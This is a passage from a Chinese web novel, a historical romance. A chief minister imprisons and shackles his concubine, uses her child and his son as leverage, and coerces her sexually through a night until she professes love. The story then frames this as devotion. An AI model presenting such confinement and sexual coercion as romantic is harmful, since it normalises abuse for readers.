林远舟扶着怀中人的腰侧,掌心覆在上面,不轻不重按揉,语气随意,“若可心今后乖巧听话,为夫便向陛下求情,求陛下早日赦免他。” 他边说,边加重手上力气,温热的掌心紧贴她的腰腹,揉得她又热又涨,徐可心挪着身子想要躲开他的手,闻言身子一顿,哭声也小了些许,含糊道,“大人既已答应妾身了,就不得反悔。” 男人眉眼上挑,没有丝毫愧疚地轻笑一声,只压低声音,循循善诱道,“为夫既已承诺,可心是不是也应原谅为夫。” 听出男人话里的求和,但徐可心还记恨他做过的事,只扭过头,枕着男人的肩膀,看向一旁,留给男人一个后脑勺。 身后复又传来一声轻笑,男人不仅未生气,甚至取笑她,徐可心紧闭着眼,彻底不愿理会他了。 她只被男人亲自带回林府,好似怕她离府,男人离开时,令人将房门紧锁。 她过去鲜少出门走动,眼下却直接被人关在房中,更是被禁锢双脚,哪里都去不得。 她心上不满,但想起男人夜里的话,顾及林昭明,她又只能守在房中。 去年雪灾,今年雨灾。 天灾人祸难有定数,事在人为。 “二公子快把刀放下!你这是做什么?” 书院,男人手持长刀,甚至未来得及更衣,只穿着那身被泥水染脏的官服,大步向书房走去。 钱管家慌乱跟在他身后,话语不停地劝阻。 侍卫见状,抬刀挡在门前。 男人停下脚步,盯着紧闭的房门,冷声质问,“父亲,徐可心在何处?” 分明已经将人赶出府,又毁了卖身契,却又为何将人骗回府中。 这人公然在朝堂上治罪于他,又命他前去治理水灾,之后又以他做筹码,将人骗了回来。 真是无耻至极。 林昭明紧攥刀柄,只想一刀砍断挡在面前的房门。 过了半晌,房门被里面推开,小厮偷偷看了他一眼,让出路。 林昭明面色紧绷,大步走了进去。 书房内,男人手持公文,背靠座椅,姿态随意,青姝趴在桌案上,攥着一串玉环,用力扯着,想要将其分开。 待林昭明走进,小孩先有所察觉,抬眸看了过来,对上男人冷厉的目光,青姝倏地松手,忙不迭转身向身后爬去,快要跌下桌沿时,被人托着身子抱在怀里。 玉环落在地上,咔嚓一声,碎成数块,分明是价值连城的玩意,跌落在地却无人理会。 林远舟揽着怀中女婴,安抚地轻拍她的后背,良久无言,好似未看见来人一般。 林昭明面色紧绷,没心思和他卖关子,直言道,“父亲,你为何命人将她带走?甚至哄骗她?” “她如今已不再是你的妾室,眼下同你回府,身份更是不当不正。” 林远舟边手持公文,边抱着女儿,闻言眼也不抬,“若非你行事莽撞,办事不力,你庶母又怎会为了救你,答应回府?” “奉旨前去查封李家,有圣旨在身,仍能横生祸端,小事都难以办好,却想要带她离京。” 男人将手中公文不紧不慢放在砚台上,淡声道,“还真是不自量力。” “若非你是林家的公子,是我林远舟的儿子,你又如何会受一众官员畏惧,待离京之后,沦为庶人,无权无势,又如何能护她周全。” “怕是受你牵连,每日忧心于你,受尽折磨。” 男人缓慢陈述,语气没有起伏,一字一句却似锐斧,砍向林昭明的脊骨。 他林远舟权倾朝野,受人敬畏,而身为林远舟的儿子,他林昭明却好似永远都只能仰视这人,仿佛一座难以翻越的高山挡在他面前,让他只能困于对方的阴影之下。 他想反驳这人,哪怕他不是林家二公子,依旧可以照顾好徐可心,可事实上,他仍受制于朝廷,连离京都寸步难行。 但只要这人想,可以轻易将他调离,又轻而易举地将徐可心带走。 林昭明站在原地,攥住刀柄的手背绷紧,分明他已经打点好一切,只差最后一步,就能带徐可心离京。 可临到最后,却还是难以保护她,以致她被人带走。 他的确无用,是个彻头彻尾的懦夫,无论过去还是眼下,都难以护徐可心周全,只能眼睁睁地看她离开,而自己只能站在原地,奢望徐可心能主动走向他。 听雨阁。 徐可心站在木窗前,轻轻推了推,确认木窗被钉死后,她盯着密不透风的窗纸,紧抿着唇。 对方竟真得将她关了起来,钉死木窗不说,还用镣铐束缚她的双脚,她眼下只能在房中缓慢走动,和圈养在笼中的鸟雀一般无二。 她泄气地坐在一旁的木椅上,看着桌案上的木琴,只觉心口格外闷,不自觉惦念起林昭明。 大人承诺她会为林昭明求情,而她如今受困房中,根本难以知晓林昭明到底是否无事。 她耷拉着眼皮,眉间不自觉浮现几分愁容,正想得入神时,一阵脚步声从屋外传来,停在门外。 “徐可心。” 男人的声音在门外响起,她身子一顿,霎时起身,扶着墙,费力地向门前走去。 “昭……” 她方要开口唤对方,压抑的哭声忽得从门外传来,一声沉闷的响动,男人好似跪在门前,膝盖重重磕在地上。 徐可心身子一顿,以为自己听错了,缓缓俯下身,将耳朵贴在门缝之间,紧抿着唇仔细听着门外的声音,却听极为压抑的哭声在门外断断续续响起。 “是我错了,姐姐,是我错了……” “我那时不知道先帝意图查封徐家,若我知晓此事,我绝不会同你退婚,我会照顾你一辈子,我会应下所有承诺,而不会任由你被送去教坊司。” “我是个懦夫,我不敢去见你,我害怕你厌恶我,害怕你对我失望,我太懦弱了……” 若他知晓一切,他会将她带走,但他那时不知晓任何事,他那时太过任性,以为徐可心喜欢他,永远不会离开他,仍像个傻子一样守在府中,同她置气,等她同往日那般前去寻自己。 等徐可心真正离开时,他却没有保护徐可心的能力,甚至直到最后,也没有勇气前去见她。 每日像个行死走肉一样过活,只能从肮脏虚浮的梦里讨得些许安慰,幻想徐可心仍喜欢他,仍愿意见他。 若他早日前去,是不是之后的一切就不会发生。 男人垂头跪 在门前,双手捂脸,泪水顺着指缝滑落。 过去认为难以启齿的话,如今真得说了出来,才发觉多么难堪。 一门之隔,徐可心枕着门,听着门外哽咽的话语,眸色怔愣,良久后才缓缓屈膝,跪在地上。 她对着紧闭的房门,双唇微张,想要说些什么,可过了良久,却又难以说出一句话。 喉咙很干涩,好似哑住了一般…… 第114章 她一直想要得到的解释,如今真得听到了,不仅未有释怀之感,反倒心口愈发沉闷。 她跪坐在门前,透过门缝之间微弱的光向外看。 门缝太过狭窄,难以窥到男人的容颜,只能听到他沉闷的哭声,哭得极为压抑,声音好似从喉咙里冒出来一样。 一门之隔,林昭明捂着脸,素来挺直的腰背弯得很深。 他早就知晓,他所拥有的一切尊荣和地位都离不开他父亲。 “其父是当朝首辅林远舟。”官僚彼此介绍引荐时,总会说这句话。 他不在乎功名利禄,知晓旁人因他父亲才畏惧他,也从不在意,可他在意徐可心,他早就离不开这人。 愈喜欢,愈想要给她一切。 可没了林少爷的名号,他林昭明一无所有。 京城的雨早就停了,落在他衣摆的泥水也早就干涸,浸在他心上的湿雨经年累月后,却彻底决堤。 他少时喜欢装委屈,落下几滴泪,就能轻易得到女人的怜惜,如今不愿哭了,想要保护徐可心,让女人依赖他,可到头来,哭的那个人依旧是他。 房门被紧锁,没有丁点响动,他不知晓徐可心被那人带去了哪里,只能跪在门前,极为软弱地捂脸痛哭,好似女人仍站在他面前。 院内的下人们远远看着他,见他哭得泣不成声,谁也不敢上前,只偷偷窥着他的背影。 二少爷自小桀骜,无论在府上还是在京中,都是横行无忌的主儿,何时哭得这般伤心难过。 男人跪在门前,只把一切不甘难堪全都讲了出来,比过去任何一次哭得都要厉害,这次却无人再将他抱在怀里细细哄慰。 他低垂着头,只等心绪麻木,想要起身去寻女人时,身前紧闭的房门微微摇晃,露出一道极为细的小缝,一张纸从里面被费力地推了出来。 林昭明后背紧绷,死死盯着那张纸。 纸飘飘荡荡的,落在尚且积蓄雨露的木阶上,边沿被浸湿,模糊了上面的清秀小字。 “我不怪你,你勿要再哭了。” 林昭明捡起地上的纸张,倏地抬眸,“你在里面?” 细碎的哽咽声透过门缝传出,“我那时那般喜欢你,如何会怪你,你迟迟不来见我,我才怨你恨你。” “入秋渐寒,我很怕入秋,一入秋就会死人,病死,受冻而死,只一卷草席,将人扔了出去,我不知晓自己何时会死,也不知晓何时能离开,我很怕。” “我初到那里时,每夜入睡,总想着你能来寻我,将我带离那里,可你总是不来,我也一直见不到你……” 徐可心跪坐在地,倚着房门,只将那时她的一切委屈全都讲了出来。 未离开教坊司时,她甚至无助想过,是不是一辈子都要留在那里,可如今再回想,却忽得发觉,不知何时开始,她早就忘却那时的一切。 以为噩梦一场,永远不会挣脱,但不知不觉,早就醒来了。 以为恨他怨他,但临到最后,只想要他的一句解释,听他亲口承认负了自己。 “我如今已经离开了,你对我很好,我也早就不怪你了。”她倚着门,很轻地说。 “听你哭,我也难受,心很疼。” 过往恍如昨日,少时以为会和他一直在一起,沦为官妓时,以为会一辈子困在那里,可最后好的坏的,都只是片刻的欢愉和痛苦,难以永远困住她。 只要她活着,心中有份念想,就会一直往前走着。 入夜后,秋风卷携枯叶在地上打转,顺着门缝渗进房中些许,屋子刚被修缮一番,屋内倒是未有多少寒意。 林远舟进来时,却见女人背对着他坐在桌案前,低头用帕子擦拭脸上的泪,眼眶微肿,泪水覆在面上,哭得格外伤心。 下人白日说,二少爷跪在徐姨娘门前,哭了一场。 知晓她心疼那孩子,林远舟走上前,拿过她手中的白帕,抚着她的下颚,细致缓慢擦拭她脸上的泪痕。 下巴抵着他的掌心,徐可心小声哽咽,垂着眉眼不看他,也不开口同他讲话。 她已经知晓了,这人的确骗了她。 知道她在乎谁,就用谁胁迫她,心冷至极。 待沐浴后被男人抱在怀里时,数日的不满和抗拒积压在心头,让她生了逆反的心思,不想再听这人的话,也不想再顺从这人,受他摆布。 “大人,妾身的身子早就不干净了。” 男人从背后抱着她,本在吻她的侧颈,闻言缓慢抬眸,无声看着她。 睫毛微颤,徐可心紧抿着唇,强迫自己稳定心神,偏过头不看他,自顾自继续道,“长公子年轻,稳重,细心,只一次过后,妾身就忘不掉长公子了。” “妾身当时糊涂,未明白大人的良苦用心,如今仔细想来,大人比妾身年长数岁,妾身尚且年轻,只给大人做妾,实属荒废青春,不及嫁给长公子为妻。” “长公子年轻有为,又钟情妾身,妾身嫁给他后,为他生儿育女,到时就是林夫人,的确好过给大人做妾。” 身后人早就没了声音,徐可心口中说得厉害,实则心跳鼓动如雷,她深呼一口气,紧闭上眼,直言道,“大人,妾身后悔了,如今又想要嫁给长公子为妻,还请大人成全妾身。” “到时妾身做大人的儿媳,会同长公子一起,承欢膝下,孝敬大人。” 她坐在男人怀里,男人尚且占据她的身子,孝敬二字出口的瞬间,身后之人抱着她,彻底没了动作,良久无言。 见他没有反应,徐可心微微蹙眉,复又鼓起勇气,“过去未敢告诉大人,妾身其实不喜欢大人,只是知晓大人位高权重受人敬畏,妾身才想着依附大人,如今长公子喜欢妾身,有他在,妾身不想再依附大人了。” “长公子姿容出众,尚且年轻,正是风华正茂的年纪,同他欢好时,他也时刻照顾妾身,妾身很喜欢……”长公子。 “啊——” 话还未出口,男人没有征兆攥住她的侧腰,将她按在床上。 徐可心埋首在软被中,撅着屁股,慌乱转头,却见男人跪坐在她身侧,眼底情欲全无,无声俯视她。 四目对视,徐可心不自觉攥紧身前软被,求饶的话跑到唇边,又被她咽了回去。 分明是对方做错事在先,她已经顺着男人的心意了,对方不应借此惩戒她。 眼见男人面无表情地坐在那里,徐可心不知晓从哪里积蓄一股勇气,面上未有半分胆怯,仍道,“大人令妾身嫁给长公子为妻,妾身如今愿意了,大人对妾身还有何不满?” “等妾身嫁给长公子,就是大人的儿媳,公媳之间应以礼相待,若妾身再同大人欢好,就是违背纲常伦理,往后入夜,大人还是不要前来寻妾身了。” 眼见男人眸中情意全无,徐可心边说,边大着胆子向床边爬去,还未爬出半步,只刚有了逃离的意图,男人就忽得抬手,用力攥紧她的脚腕。 男人未收力,只一瞬间,脚腕传来阵痛,疼得徐可心霎时哭出泪来。 “不喜欢为夫,想要嫁给别的男人。”男人俯下身,压着她的脖颈,在她耳边轻声道,声音缓慢低沉,未带有半分暖意,好似毒蛇吐信,只等她回答的话不合心意,就刺穿她的脖颈。 身子下意识颤抖不停,徐可心紧抿着唇,硬着头皮道,“是,不喜欢大人,过去不喜欢,眼下不喜欢,以后也不会喜欢。” “妾身贪恋虚荣,之前的喜欢都 是装出来骗大人的。”她的声音已经颤抖到极致,但仍一字一句,全都说了出来。 男人无声注视她,良久后,兀地轻笑一声。 徐可心身子僵直,彻底不敢抬头,埋首在软被中,只将脸死死埋在里面,温热的呼吸靠近她的耳侧,缓缓打在她的耳边。 男人未斥责她,也未恼怒,只柔声道,“可心还真是知晓如何惹为夫生气。” 徐可心微微瑟缩,不敢同男人对视。 听男人语气温柔,她正以为对方未真得被气到时,就被拦腰抱了起来。 “大人弄得妾身很疼,快放开妾身!” 男人扯着她的手臂,只将她的手臂拽过头顶,完全束缚在床头,她扭着身子,费力地扯着手腕,想要挣脱衣带。 林远舟坐在她身侧,用力攥着她的腿弯,俯身吻上她的眉心,温声道,“可心离府数日,想必是被旁的男人带坏,才说了胡话。” “为夫只能惩戒一二,才好让可心长记性。” “我未被人带坏!我就是不喜欢大人,喜欢上旁的男人,大人快放开妾身!” 无论她说什么,男人只眼底满是笑意地看着她,好似她真得是一个被人教坏的孩子,他面上温柔至极,手上动作却毫不留情,只用力钳着她的腰,桎梏她的身子,逐字逐句教导她,喜欢的人到底是谁。 男人也未质问她旁的,只问她,心上到底喜欢谁,她心上逆反,只说林怀瑾。 得不到想要的结果,男人攥着她的腰,只垂着眉眼,无声俯视她,再次占据她的身子。 整整一夜,男人反复问她,到底喜欢谁。 一开始,她心上对男人有恨,话语不停地唤着林怀瑾的名字。 之后她实在难受得紧,咬着手腕哭声不停,断断续续唤唤着林怀瑾三字。 临近破晓,她终于崩溃了。 “大人,大人,妾身喜欢大人,妾身喜欢大人……”她泪流满面,嗓音哽咽道。 男人轻吻她的颈侧,声音低哑几分,“好可心,唤为夫的名字。” 她实在被折磨得身心俱疲,只无意识道,“林远舟……妾身喜欢大人,妾身喜欢林远舟……” “乖可心,为夫也喜欢可心。”男人抱着她的手臂用力,重重吻上她的唇,不断啃噬,好似要将她吃进肚子里一般。 第115章 林府书房。 男人站在书架前,手持铜镜,寻着脸上的纹路,青姝坐在他的手臂上,枕着他的肩膀,见男人一直看着铜镜,她微微伸手,用力攥住镜柄。 男人一开始未理会她,任由她攥着手指,见男人未同往日那般把铜镜给她,小孩微微仰头,缓慢道,“父……亲……” 两个字吐得很慢很轻,小孩牙未长齐,说话还很费力。 男人方要将铜镜放回书架上,闻言身子一顿,垂眸看向她,四目对视,青姝指着书架上铜镜,轻声地唤了一声娘亲。 这声娘亲明显比方才那声父亲更清晰。 她想要什么的时候,下意识会唤娘亲,娘亲总会为她取来,娘亲不在,有父亲在身边,父亲也会为她取来。 林远舟托着小孩的肩膀下面,将人抱在半空,无声看着她,良久才道,“青姝方才唤了什么?” 小孩盯着他,看了眼身旁的铜镜,“父……亲。” 她娘亲的眸子很漂亮,时常沁着水意,小孩同她娘亲一样,双眸格外澄澈,盯着人看时,羽睫微微眨动,眼底倒映着身前人的剪影。 林远舟复又看了她半晌,将人抱在怀里,吻了一下小孩的头顶,命钱管家寻了一把镶嵌珠玉的小铜镜过来。 林昭明进门时,却见女婴抱着铜镜坐在桌案上,攥着朱砂笔在铜镜上涂抹,男人坐在一旁,任由她勾画,眼见墨汁溅落在一旁的文书上,男人也没有阻拦她的意思。 少时男人不允府中人随意进出书房,他和林怀瑾别说陪在男人身侧,甚至连见男人一面都难,同他们二人相比,青姝却被男人带到身边亲自照看。 他临近弱冠,倒也不至于艳羡一个幼童。 他只是很不解,有时想要质问父亲和母亲,问清楚一切,可每每对上两人冷漠的目光,他又不自觉压下心中的不解,甚至不愿同他们多言。 若非为了徐可心,他今日也不会前来见男人。 “父亲到底何时会放过她?你将她囚禁在房中,这和圈养鸟雀有什么两样?鸟雀呆在笼中尚且能窥见天光,你只命人钉死门窗,紧锁大门,她甚至不如鸟雀。” “昭明寻了一处宅院将人养在房中,同为父又有何异。” “我如何同父亲一样?我既未禁锢她的双脚,也未派人看管她,甚至让她随意走动,给她自由……” 还未等他说完,男人不紧不慢道,“你所谓的自由,就是像条狗一样,寸步不离地跟在她身后,拖累她,让她寸步难行?” 男人话语淡漠,未带有半分情意,直接扯下他的体面。 “你并非稚童,应断奶了。” 话音刚落,林昭明的身子彻底僵硬,直挺挺地站在原地,良久无话。 他以为压在心里不说,旁人就不会知晓他的心思,无人会知道,他把徐可心视作他的娘亲,畸形地喜欢她,想要讨她的欢心,以此填补少时母亲对他的疏远和冷漠。 但未想到,父亲竟也早就看穿了他。 林昭明面色紧绷,只觉埋藏于心多年的阴暗心思,被人彻底戳穿,他垂在身侧的手不自觉紧攥成拳,过了良久,他才找回自己的声音,直接道,“我和她之间的事情,不劳父亲费心。” “若她真得厌烦我,自会亲口告知我,何况她说过,她喜欢我,也从未认为我是她的拖累。” 喜欢二字一落地,男人面上的闲适霎时褪去几分,他随手扔下手中毛笔,背靠座椅,抬眸看向他。 “为父同你庶母之间的事情,也无须昭明插手,你只待她有礼,她也会把你视为家中小辈。” 他想和徐可心成婚,娶徐可心为妻,如何甘心眼睁睁看着徐可心真得成了他的庶母。 “父亲,徐可心是人,她不是被人随意玩弄的摆件,还请父亲解了她的禁足。” 屋内安静无声,男人半阖眉眼,只看着坐在桌案上专心摆弄铜镜的女婴,眼也不抬道,“她是为父的妾室,恐她被人引诱离府,为父才不得不将其囚禁府上。” “昭明为她求情,想让为父放过她,也并非不可。” 林昭明凝神看着男人,听出男人话未说完,方要追问他如何会放过女人,却听他漫不经心道: “昭明只如约娶沈长小姐为妻,为父便解了你庶母的禁足。” 话一出口,林昭明的脸色霎时难看几分,下意识质问,“父亲你这是何意?” 他的声音陡然抬高,本坐在桌案上低头玩弄铜镜的青姝不自觉身子一颤,手中的铜镜倏地落在桌面上,发出一声沉闷的响动。 林远舟揽着女婴的身子,将其抱在怀里,安抚地轻拍她的后背,声音一贯的不近人情,“她能否解了禁足,全凭昭明如何作择。” 林昭明站在原地,闻言不自觉紧咬牙关。 林远山前来书房时,还未等开门,却见林昭明面色阴沉地从书房走了出来,用力反手关上门,砰的一声,见到他也未行礼,只越过他,大步向院外走去。 林远山看了眼他满是戾气的背影,也未在意他的无礼,抬步走入书房,却见他的好大哥抱着怀中的女婴轻声哄慰。 “大哥,我方才瞧见昭明面色难看地跑出去了,不知道你同他讲了何事?”林远山缓步走上前,背靠书架,目光落在他怀中的女婴上,隐在袖中的手指微微摩挲。 他等了半晌,见男人没有理他的意思,忽得想起下人说,如今那位徐小姐又被男人接回府上,林远山试探道,“大哥,是为了徐长小姐?” 本低垂眉眼的男人,终于淡淡瞥了他一眼,却未同他解释,而是命侍卫将他带 走。 书房外,林远山双臂环胸,看了眼身后紧闭的房门,若有所思。 没过几日,二少爷要与沈小姐成婚的消息就传遍府上。 入夜后,徐可心坐在床前,褪下衣衫,将青姝抱在怀里,给她喂奶,女婴埋首在她怀里,只攥着她的衣服,边喝奶,边仰着头,眨也不眨地盯着她。 那日她被男人折腾了一整夜,被他逼着说了许多好话,还有一堆难以启齿的荤话,她心中不满,又实在腰疼得紧,到了隔夜,无论男人说什么,她都不让对方碰她,指责他太过无礼。 她本打算不理会男人,但对方素来知晓如何掌控她,只命人将青姝带了过来。 见到女儿的瞬间,她内心的怨气霎时烟消云散,也未再同男人计较夜里的事。 徐可心托着女儿的身子,垂着眉眼,仔仔细细将小孩从上到下打量了一遍,见她眸色清澈,面色红润,没有半分憔悴之色,才不自觉松了口气,轻拍她的后背,哄她喝奶。 男人坐在床前,手持文书却未批注,只无声看着她们。 徐可心同男人置气,本想要催他离开,可她说了数次,对方不仅未回避,反而揽着她的腰侧,轻吻她的额头,薄唇贴着她的头顶,泛着些许热意。 男人眼底沁着柔和的笑意,面色温柔,愈发衬得她好似在无理取闹,徐可心气急,索性不理会他了,任由他坐在一旁。 青姝许久未见到她,想她想得紧,一直紧攥她的衣服不愿松开,含着口中的奶水,哪怕不饿了,也不愿松口。 不似旁的幼童,喝奶时用牙齿死死咬着,恨不得咬下一块肉似的,青姝喝奶时只轻轻含着,鲜少用牙齿啃咬。 她有乳母,不缺奶喝,只是很依赖母亲,喜欢被母亲抱在怀里。 徐可心看着怀中眸色可怜的女儿,知晓男人不会留青姝过夜,面色也不自觉浮现几分愁容,一大一小可怜巴巴地看着彼此,林远舟坐在一旁,很轻地笑了一声。 “若可心不舍,今夜就留她在房中。”男人说。 徐可心仍记得,那日她分明极为恼怒,铁了心不想理会男人,等抱着女儿,被男人揽着腰抱在怀里时,心中的怒气也不争气地退去些许。 夜里,男人躺在她身后,紧紧箍着她的腰,她抱着青姝,枕着男人的肩膀,心上还有些许怨气,有意背对着男人。 有女儿在身边,她的心也彻底安稳,不知不觉睡了过去,等白日醒来时,她下意识抚着床边,寻找女儿的身影,却摸到了滚烫坚硬的肌肤,还未等她再仔细抚摸,就被人攥紧手腕。 徐可心缓缓抬眸,怔愣地看着眼前,却见不知何时她面对着男人,枕在男人颈侧,青姝趴在男人的胸膛上,睡得很沉。 不知为何,她当时面色一红,眼见男人眉眼微动,有醒来的征兆,她连忙阖上眼睛,复又装睡。 耳边传来一声很轻的笑,眉心被轻轻碰了一下。 之后几日,只要男人前来看她,都会带青姝过来,走后也会带走青姝。 徐可心本来同他置气,一来二去,又不自觉期待男人早些下朝,过来看她…… 只有他来,她才能看到青姝。 思绪回笼,徐可心看着怀中的女儿,轻抚她的面颊,青姝趴在她怀里,四目对视,忽得微微张口,看着她,很轻地唤了一声父亲。 徐可心抚摸女婴的手指一顿,眸色怔愣地看着她。 好似看出她的异样,男人缓步上前,环住她的身子,贴着她耳侧轻声道,“青姝如今认得父亲。” 徐可心紧抿着唇,闻言心弦不仅未放松,反而骤然紧绷。 过去她想留在男人身边,因此想让男人喜欢青姝,可现在一切还未有定数。 她不知晓设局之人到底是不是大人,一道谜障隔在两人之间,她却不想再让青姝依赖男人…… 第116章 “青姝既已认得父亲,今后可心也可安心留在林府,留在为夫身边。” 环在她身前的手臂不断收紧,男人俯身,将她完全笼罩在怀里,吻着她耳侧,在她耳边轻声低语。 语气轻缓,好似情人的低喃。 她如今的确是这人的情人,既不是男人的正妻,也不是男人的妾室,只是被他占据的鸟雀,为他生育了一个女儿。 依赖他时,认为他好似高山,只全然伏在他的怀里,不必忧虑群山会坍塌,可想要跨过他时,却终于清醒,意识到面对他时,自己是多么渺小。 山能载人,亦能囚人。 进山时,惦念山中景致,一步步走过去,不觉疲惫,等不知不觉行至最深处,站在高处远望山峦,才终于发觉,早就被困住了身子,难以寻到下山的路。 徐可心仰头,看向身后男人的侧颜。 大人名唤远舟,却一生居高临下,立于不败之地,而未颠沛流离,甚至未被外派离京,只运筹帷幄于皇城之中。 舟这个字,实属不与他相称。 恐是愈缺什么,才愈需填补什么,才得了舟这个字。 过去身处山中,难见全貌,秉着一腔热忱,不自量力地想要男人喜欢她,如今清醒些许,才忽得发觉,她是无根浮萍,好似根本难以承受男人的爱意。 男人给的爱太沉重,只流露些许,就压得她难以喘息,几近窒息。 “大人……”徐可心想问男人之前为何接纳她,又是否像她喜欢对方一样,也喜欢她,若知晓彼此情意相通,她便能承受这人的喜欢,可话到唇边,终究难以启齿。 悬而未决的事情停在心间,让她根本难以再像过去那般,毫无顾忌地向男人索求爱。 心被撕扯,临到最后,她只软弱地选择逃避,“大人,妾身想离京,不想再留在京城了。” 她难以接受吴尚书讲给她的话,害怕事与愿违,也不敢查清一切,除了逃避,她别无选择。 男人环着她的身子,闻言缓缓俯身,垂眸看着她。 这是她回府后,第一次主动说出自己的打算,两人哪怕再回避,闭口不谈此事,也终究要面对。 “可心依旧想要离开为夫?”男人问。 男人的声音很轻很慢,透着几分随意,好似并不在意她的话,只是在确认她话里的虚实,但不知为何,从男人的眼底,她看出几分受伤。 喉咙很干涩,堵在唇边设想无数次的话也变得难以说出。 临到最后,她也只说出这一句话,“妾身并未想离开大人,妾身只想离开此地。” 可离开此地,与从男人身边离开本就是一路的。 “青姝已认得父亲。”他说。 徐可心不明白男人为何反复提起这句话。 青姝依赖他,他却不接纳青姝,只把青姝当筹码,青姝哪怕知晓他是父亲又有何用。他未把青姝当成自己的女儿,往后也只会一次次舍弃青姝,只把她当做一枚棋子。 她不想青姝在之后的某一日,再被人从她身边带走,也不想青姝还未长大成人,就被府中人随意定夺生死。 林府群蛇盘踞,青姝尚且年幼,总应顺遂无虞。 “大人,青姝认得谁不重要。”她需要的是一个喜欢她的父亲,只有这样,她的父亲才会为她考虑,她才能真得平安快乐地长大。 男人站在她面前,良久未言语,徐可心垂下头,“妾身去意己决……” “既不愿为妾,可心往后只做为夫的正妻如何?” 男人语气平静,没有起伏地打断她的话,徐可心眸色一怔,以为自己听错了,错愕地抬头,却见男人也在看她。 “大人方才说……” “可心成了为夫的正妻,往后青姝便是林府的嫡长小姐,无人会轻视她,显贵无双,如此可心也要离开为夫?” 男人缓声陈述,面色平静至极,没有半分轻佻之意,偏偏这样,才让徐可心心跳一滞。 徐可心深呼一口气,良久才找回自己的声音,“大人,妾身如今并非官家小姐,论家世地位,如何能嫁给大人为妻,又如何能与夫人比肩?还请大人勿要折煞妾身……” 她以为男人要抬她为平妻,下意识驳斥,可男人站在原地,垂眸注视她,闻言只轻声道,“为夫如今是当朝首辅,亦是林家家主,无人会左右为夫的婚事。” 双亲已逝,族中长辈依附他,无人敢忤逆他,少帝羽翼未丰,尊他为长辈,亦父亦师,尚且依靠他执掌朝政。 依附他的人,不只她徐可心一人,林家人、朝廷、乃至少帝,都在依附他,只把所有重担压在男人肩头,在他的庇护下叼啄羽翼。 徐可心闻言,彻底没了声音。 她怎么忘记了,男人身处高位,早就无人能左右他的决定,更别提出言违背他的话。 她尚且受纲常伦理约束,男人却早就大权在握,不受任何人约 束,更别提所谓的风言风语。 他的功绩太过显著,以致让人提到他时,只会艳羡敬畏他的权势,无人会分神探究他的宅中之事,青史上也只会记载他的平生政绩。 而她徐可心,只会在后人谈论他时,成为他们口中随意提及的一句风流韵事。 可男人对她愈好,她才愈发忐忑,顾及自己过去的身份,不想玷污男人的名声,他可以不在意,她却难以忍受,男人因她背上宠妾灭妻的骂名。 “大人,妾身从未后悔成为大人的妾室,妾身离京与否,也并非因不满自己的身份,夫人执掌后宅,抚养两位公子长大,待大人情深义重,还请大人收回成命。” 她挪动身子,面对男人,俯下身缓声陈述。 男人站在她面前,无声俯视她。 “情深义重。”男人自顾自轻语一句,抬手抚上她的下颚,长指抵着她的下巴,强迫女人抬眸看他。 “可心,并非所有人都同你一般在乎虚无缥缈的情义,所谓情深义重,从始至终也只有你一人惦念为夫。” 男人缓缓叹了口气,揽着她的肩膀,将她抱在怀里,低头吻上她的眉心,“若为夫说,为夫在乎可心,舍不得可心,想要可心留在为夫身边,可心依然要离京吗?” 徐可心枕着男人颈侧,听着耳边的低语,眸色一怔。 男人主动俯下身,将她抱在怀里,揽住她身子的手臂也愈发用力。 总说恨折磨人,怨折磨人,临到最后,爱才是最折磨人的。 有恨有怨尚且能保持理智,只爱上了,就全然不顾一切,贪婪的索取,不断的给予,占据彼此的一切,抛弃自我,乃至背弃自己素来遵守信奉的规矩教条,也要把彼此放在心尖上,用自己的尊严和真心去爱。 徐可心留下了。 她不想再看到男人眼中露出失落的神色了,她想查清当初的一切,哪怕布局之人真的是男人,她也认了。 不然刀悬在心间,反复折磨她,让她不敢回应男人的喜欢,也难以下定决心离开,处在之间,忐忑不安,惶惶不可终日。 她说自愿为妾,男人抚摸她的身子,占据她的一切,最后吻她的唇,说想娶她为妻。 她每说一句,男人都会吻得愈发深,只让她难以言语,不得不扶着男人的肩膀,整个人依附他,受他摆布。 夜色渐深,他生于秋日,秋色凉苦,前路是炽夏,后路是寒冬,前行的岔路口上,他的母亲将他推入了寒冬。 他独自前行,以为早就不在意情爱,但只被女人揽着脖颈,埋首在她怀里,贴着她滚烫的肌肤,他又发觉,其实他依旧贪恋这份暖意。 他未受过母亲的偏爱,见那两个孩子不受他们的母亲喜欢,他也未认为有何不对。 他未做首辅时,见过徐家长小姐几面,容貌甚美小心谨慎,同京中旁的官家小姐并无两样,他也未仔细留意。 直到对方时常上门,来寻昭明,他才留了几分神,知晓两人认识的渊源后,他又发觉徐小姐性子很温婉。 以为两人年纪尚小,并无多少情意,等到徐大人亲自上门求亲,知晓那个恪守规矩的徐长小姐,为了林昭明忤逆她父亲,不愿入宫时,他才彻底记得,这人名唤徐可心。 可心……倒真是称心如意。 二公子即将成婚的消息还未平息,林府复又彻底炸开锅。 大人无缘无故竟要休妻,而娶徐姨娘为妻。 正院。 屋内东西被砸在地上,噼里啪啦的,起伏不停,一众下人站在门外,低垂着脑袋,大气都不敢喘。 男人得了信,前来正院,下人们一瞧见他,低声同他行礼,林远山低咳一声,摆摆手,示意他们退下。 随后他抬着眉眼,缓步走入屋中。 他今日前来也不为旁的,只是为了看女人的热闹。 刚踏过门槛,一个花瓶就骤然砸到他脚边,碎了一地,林远山随意瞥了一眼,却见女人扶着桌案,衣衫不整,弯着腰捂脸痛哭。 小桃站在她身侧,眸色担忧地看着女人,见他过来,小桃忙不迭抬手,扯了扯女人的衣摆,“夫人,林二叔来了。” 本低垂着头的女人霎时抬头看了过来,双目涨红,咬牙道,“你来做什么?” 林远山捡起地上的一块玉佩,缓步上前,放在桌案上,低声道,“还能为什么,自然是前来探望我的好嫂嫂。” 男人声音旖旎,不似往日那般恭敬,明显透着几分难压的情意。 大夫人面色一僵,僵硬地站在原地。 小桃站在一旁,闻言垂下头,向后退了一步,站在门外看守,独留他们两人在房中…… 第117章 “嫂嫂过去不是说心悦我,非我不可吗?如今兄长想要另娶她人,你不应高兴才是。” “只等他休妻之后,我便娶嫂嫂可好?”林远山缓步上前,从身后环住她的身子,枕着她耳侧轻声低语。 他长了一副好面孔,同他长兄有八分相似,况且他素来喜欢效仿他长兄的言行,以及讲话时的语气,单站在那里不言语时,旁人窥他容颜,很难分辨两人。 他们不是孪生兄弟,胜似孪生兄弟。 若非如此,她也不会在受够男人的冷漠后,引诱少年,把所有情意转投到他身上,但她未曾想过,少年根本不似面上的纯良,而是一条阴鸷毒蛇。 她嫁进林家数年,一直无后,需要一个孩子维持她的体面,堵住娘家人的口,也给林家人一个交代。 